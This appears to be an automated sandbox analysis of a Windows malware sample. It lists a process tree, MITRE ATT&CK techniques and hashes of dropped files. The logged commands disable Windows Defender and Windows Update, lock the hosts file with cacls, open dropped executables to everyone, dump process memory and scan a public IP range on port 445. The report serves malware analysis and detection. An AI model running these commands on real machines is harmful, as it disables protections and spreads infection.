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C:\Windows\SysWOW64\cmd.execmd /c sc config WinDefend start= disabled2⤵PID:1908
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C:\Windows\SysWOW64\sc.exesc config WinDefend start= disabled3⤵
- Launches sc.exe
PID:2216
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C:\Windows\SysWOW64\cmd.execmd /c sc config wuauserv start= disabled2⤵PID:2004
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C:\Windows\SysWOW64\sc.exesc config wuauserv start= disabled3⤵
- Launches sc.exe
PID:2220
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C:\Windows\TEMP\xohudmc.exeC:\Windows\TEMP\xohudmc.exe2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
PID:2572
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C:\Windows\TEMP\iibfpugis\vekeuubbl.exeC:\Windows\TEMP\iibfpugis\vekeuubbl.exe -accepteula -mp 1044 C:\Windows\TEMP\iibfpugis\1044.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2896
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C:\Windows\TEMP\iibfpugis\vekeuubbl.exeC:\Windows\TEMP\iibfpugis\vekeuubbl.exe -accepteula -mp 1060 C:\Windows\TEMP\iibfpugis\1060.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1304
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C:\Windows\TEMP\iibfpugis\vekeuubbl.exeC:\Windows\TEMP\iibfpugis\vekeuubbl.exe -accepteula -mp 1080 C:\Windows\TEMP\iibfpugis\1080.dmp2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3040
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C:\Windows\TEMP\iibfpugis\vekeuubbl.exeC:\Windows\TEMP\iibfpugis\vekeuubbl.exe -accepteula -mp 2336 C:\Windows\TEMP\iibfpugis\2336.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:896
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C:\Windows\TEMP\iibfpugis\vekeuubbl.exeC:\Windows\TEMP\iibfpugis\vekeuubbl.exe -accepteula -mp 448 C:\Windows\TEMP\iibfpugis\448.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1780
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C:\Windows\SysWOW64\cmd.execmd.exe /c C:\Windows\iibfpugis\fewectaiq\scan.bat2⤵
- Loads dropped DLL
PID:1560 -
C:\Windows\iibfpugis\fewectaiq\mqmqbrmul.exemqmqbrmul.exe TCP 191.101.0.1 191.101.255.255 445 512 /save3⤵
- Executes dropped EXE
- Drops file in Windows directory
PID:2280
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C:\Windows\SysWOW64\cmd.execmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM2⤵PID:1440
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:1588
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C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D users3⤵PID:1524
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2708
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C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D administrators3⤵PID:1140
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:872
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C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM3⤵PID:1660
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2772
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C:\Windows\SysWOW64\gkmiuy.exeC:\Windows\SysWOW64\gkmiuy.exe1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:572
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe C:\Windows\system32\wbem\wmiprvse.exe -Embedding1⤵PID:2712
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C:\Windows\system32\taskeng.exetaskeng.exe {F9DD6139-49F4-4EFA-9F64-CCF6746C518C} S-1-5-18:NT AUTHORITY\System:Service:1⤵PID:1964
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C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\gtgcurlb\yrklftl.exe /p everyone:F2⤵PID:2672
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2444
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C:\Windows\system32\cacls.execacls C:\Windows\gtgcurlb\yrklftl.exe /p everyone:F3⤵PID:2880
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C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\lbiqgtsub\mitzpm.exe /p everyone:F2⤵PID:756
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2436
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C:\Windows\system32\cacls.execacls C:\Windows\TEMP\lbiqgtsub\mitzpm.exe /p everyone:F3⤵PID:2804
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C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c C:\Windows\ime\yrklftl.exe2⤵PID:2404
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C:\Windows\ime\yrklftl.exeC:\Windows\ime\yrklftl.exe3⤵
- Executes dropped EXE
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious use of SetWindowsHookEx
PID:2316
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C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c C:\Windows\ime\yrklftl.exe2⤵PID:2360
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C:\Windows\ime\yrklftl.exeC:\Windows\ime\yrklftl.exe3⤵
- Executes dropped EXE
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious use of SetWindowsHookEx
PID:2492
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C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\gtgcurlb\yrklftl.exe /p everyone:F2⤵PID:3412
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:4012
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C:\Windows\system32\cacls.execacls C:\Windows\gtgcurlb\yrklftl.exe /p everyone:F3⤵PID:3640
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C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\lbiqgtsub\mitzpm.exe /p everyone:F2⤵PID:3884
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2896
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C:\Windows\system32\cacls.execacls C:\Windows\TEMP\lbiqgtsub\mitzpm.exe /p everyone:F3⤵PID:3388
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe C:\Windows\system32\wbem\wmiprvse.exe -Embedding1⤵PID:2512
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe C:\Windows\system32\wbem\wmiprvse.exe -Embedding1⤵PID:1452
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
2Windows Service
2Scheduled Task/Job
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
2Windows Service
2Scheduled Task/Job
1Defense Evasion
Impair Defenses
1Disable or Modify System Firewall
1Modify Registry
2Subvert Trust Controls
1Install Root Certificate
1Replay Monitor
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Downloads
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Filesize
95KB
MD586316be34481c1ed5b792169312673fd
SHA16ccde3a8c76879e49b34e4abb3b8dfaf7a9d77b5
SHA25649656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918
SHA5123a6e77c39942b89f3f149e9527ab8a9eb39f55ac18a9db3a3922dfb294beb0760d10ca12be0e3a3854ff7dabbe2df18c52e3696874623a2a9c5dc74b29a860bc
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Filesize
275KB
MD54633b298d57014627831ccac89a2c50b
SHA1e5f449766722c5c25fa02b065d22a854b6a32a5b
SHA256b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9
SHA51229590fa5f72e6a36f2b72fc2a2cca35ee41554e13c9995198e740608975621142395d4b2e057db4314edf95520fd32aae8db066444d8d8db0fd06c391111c6d3
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Filesize
1.3MB
MD55a600093171a388a692dd70320a63439
SHA1a3eb73d92e42dab60e5c5adca9c628f363811830
SHA2561d0ef58d2e403a30fdf02b188bb80435c19f40ce1a07194af266dea85e8b4c94
SHA512c8134ac38014e88a9e0161bcc4d48b4715fd60e3d534da7b84d19d5dc472ece487ea418749f094b2025772838901a8a8f4aa6454a6bd1561cd5cbb0b20eb7c27
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Filesize
1.4MB
MD553494dd3927d0f6f28903fabbde378ee
SHA1427b4c85105ab7e20bc787a7e2e9972c4c6f7251
SHA256900e936ccd5c4f9310cd7dcd090e202ce5f427fff31e1d39267e833a121454b6
SHA512df52b91ff913b928787f34dae9314ba08060672abbae2338ca6ce2ffc47e8b7121e9144397cbf9fcafc5041080b6a07242bd0e5229f7d7253f4d21b0e07cd1c8
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Filesize
4.6MB
MD5e78705fc6a19b2cfbb083fb23842d207
SHA1b7463eb0ae6af285fd597bdcf97b6762d6e8caf6
SHA256d98f230f268a07c1458277474120eecbb742100dd9d488924da1706d8aa268aa
SHA512d7bc849d7bbc642877873668ff9baab49d4425fcad9178ea7f6c9d477141bb359dfa43f7b6bf4b82e9e2fc5336271b984b48f03129338bfe8cddf39ede2ad07b
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Filesize
7.2MB
MD568b36b74c81c423880331368056a9b51
SHA1f35786faf08620bd25be990fe29e3b36a8b6c8cd
SHA2565fb3c3c0c5a1eb476b989ea31fa1fb317cb504dcaff8f76c105c8eefb46246ed
SHA512ed985a856846171ad3cf20eac2c88233d50d3be24892d0cc3cf848a0cba7bdf9b2032ace88ef60da670fa5cc2172e209d793369ba5c47980d998d5308bd7a22a
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Filesize
855KB
MD5f4dc04f995d0b548719749f00ccf8caf
SHA12c15f025022764988c24d6353111a9340c7b5067
SHA25660f6e8ac97a559a96d402c316c449515316c96bbb1623e16516b8b9f56a5dd08
SHA512787092e43824fbe16f446bc18ecf257c572e8f6c0e185e39c1c2b43ae4bcdc5dfbf5ae17d6009f534894bfffec3b1665281602679b98eb95e390ab6ed115058d
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Filesize
693B
MD5f2d396833af4aea7b9afde89593ca56e
SHA108d8f699040d3ca94e9d46fc400e3feb4a18b96b
SHA256d6ae7c6275b7a9b81ae4a4662c9704f7a68d5943fcc4b8d035e53db708659b34
SHA5122f359d080c113d58a67f08cb44d9ab84b0dfd7392d6ddb56ca5d1b0e8aa37b984fac720e4373d4f23db967a3465fcf93cee66d7934d4211a22e1ebc640755f01
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Filesize
195B
MD5d93e45819e6ae00b8e0cf6723245eff1
SHA17b8527580485ee340a50df1fdf302b94132ba9db
SHA2567f35ac10f0d3669502060ce66c339d484feefe9e61d64f03a5a54004ba8e7455
SHA5126fa8d267a4ded3640afb401bd7a30428c9d32491919a623df045da5f4926c3244b5b8a2fb4ca5fafc167a75c220a151107d1d358e1f2fbd7a1d7e8bc34d228bb
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Filesize
159B
MD5cf678436f9b4af76bc7da80e527d5aa6
SHA193ef3d07f83fa6935bb1063a3a4798198e8acda0
SHA256089f79e52361dd7c69711543dac80061936895a778e076e2181441271ec0a0d5
SHA5121c8ba46a190488daa9c5227983392ac0f26f93f8062d7a1b623bdeb0d6f3ab10edcfe57672f7df9d1be8e22375cae592e55424d9012d9aa7374dc3d7a4972b5e
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Filesize
975B
MD5b5d815ff5310f62de5020591be598bc0
SHA18013562b0cc2516d16d474308c8982a31b7f5dd0
SHA256a7ea603e6e80aed429a34b68ca8210ae3b082cf6104646ed7f8025c3b304ae85
SHA5124e3175ef0c289e1beea60f51239a98533690505b709f778703502dad3f72e3c7e9aa26e1a3837712ed5e1344e28e5ccff1d63a1245352bbc8435a71e15347a94
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Filesize
126KB
MD5e8d45731654929413d79b3818d6a5011
SHA123579d9ca707d9e00eb62fa501e0a8016db63c7e
SHA256a26ae467f7b6f4bb23d117ca1e1795203821ca31ce6a765da9713698215ae9af
SHA512df6bcdc59be84290f9ecb9fa0703a3053498f49f63d695584ffe595a88c014f4acf4864e1be0adf74531f62ce695be66b28cfd1b98e527ab639483802b5a37a6
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Filesize
343KB
MD52b4ac7b362261cb3f6f9583751708064
SHA1b93693b19ebc99da8a007fed1a45c01c5071fb7f
SHA256a5a0268c15e00692a08af62e99347f6e37ee189e9db3925ebf60835e67aa7d23
SHA512c154d2c6e809b0b48cc2529ea5745dc4fc3ddd82f8f9d0f7f827ff5590868c560d7bec42636cb61e27cc1c9b4ac2499d3657262826bbe0baa50f66b40e28b616
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Filesize
11KB
MD52ae993a2ffec0c137eb51c8832691bcb
SHA198e0b37b7c14890f8a599f35678af5e9435906e1
SHA256681382f3134de5c6272a49dd13651c8c201b89c247b471191496e7335702fa59
SHA5122501371eb09c01746119305ba080f3b8c41e64535ff09cee4f51322530366d0bd5322ea5290a466356598027e6cda8ab360caef62dcaf560d630742e2dd9bcd9
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Filesize
6KB
MD5b648c78981c02c434d6a04d4422a6198
SHA174d99eed1eae76c7f43454c01cdb7030e5772fc2
SHA2563e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9
SHA512219c88c0ef9fd6e3be34c56d8458443e695badd27861d74c486143306a94b8318e6593bf4da81421e88e4539b238557dd4fe1f5bedf3ecec59727917099e90d2
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Filesize
72KB
MD5cbefa7108d0cf4186cdf3a82d6db80cd
SHA173aeaf73ddd694f99ccbcff13bd788bb77f223db
SHA2567c65ffc83dbbbd1ec932550ea765031af6e48c6b5b622fc2076c41b8abb0fcb9
SHA512b89b6d9c77c839d0d411d9abf2127b632547476c2272219d46ba12832d5a1dab98f4010738969e905e4d791b41596473397cf73db5da43ecab23486e33b0e1d1
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Filesize
8.9MB
MD5d2804750e830ccd26bd373b3e7c8c7aa
SHA1f83b2355bcd1c29272841c4d585244b5be7ebd4d
SHA256a1a32cf4bd12531104b37868c9b21a8d849b787fb86ed4cae3143c2fdcc484ae
SHA512378dc446f58070678774e26fc1836015ac1828b57436c3169979fc113523e318894471bc0d5761f2afa456925cb98d75b86ce3e00ec2133cf06e1be30be53604
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Filesize
381KB
MD5fd5efccde59e94eec8bb2735aa577b2b
SHA151aaa248dc819d37f8b8e3213c5bdafc321a8412
SHA256441430308fa25ec04fd913666f5e0748fdb10743984656d55acc26542e5fff45
SHA51274a7eebdee9d25a306be83cb3568622ea9c1b557a8fbb86945331209bdc884e48113c3d01aac5347d88b8d2f786f8929aa6bb55d80516f3b4f9cc0f18362e8e3
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Filesize
332KB
MD5ea774c81fe7b5d9708caa278cf3f3c68
SHA1fc09f3b838289271a0e744412f5f6f3d9cf26cee
SHA2564883500a1bdb7ca43749635749f6a0ec0750909743bde3a2bc1bfc09d088ca38
SHA5127cfde964c1c62759e3ba53c47495839e307ba0419d740fcacbeda1956dcee3b51b3cf39e6891120c72d0aae48e3ea1019c385eb5006061ced89f33b15faa8acb
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Filesize
63KB
MD5821ea58e3e9b6539ff0affd40e59f962
SHA1635a301d847f3a2e85f21f7ee12add7692873569
SHA256a06d135690ec5c5c753dd6cb8b4fe9bc8d23ca073ef9c0d8bb1b4b54271f56bb
SHA5120d08235781b81ff9e0a75f0e220a8d368d95ee75bf482670e83696e59d991aad68310ae7fa677ac96ffad1f97b3ec7d7208dc26d2edb111c39213b32502b82f6
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Filesize
424KB
MD5e9c001647c67e12666f27f9984778ad6
SHA151961af0a52a2cc3ff2c4149f8d7011490051977
SHA2567ec51f4041f887ba1d4241054f3be8b5068291902bada033081eff7144ec6a6d
SHA51256f0cff114def2aeda0c2c8bd9b3abcacef906187a253ea4d943b3f1e1ca52c452d82851348883288467a8c9a09d014910c062325964bcfe9618d7b58056e1fe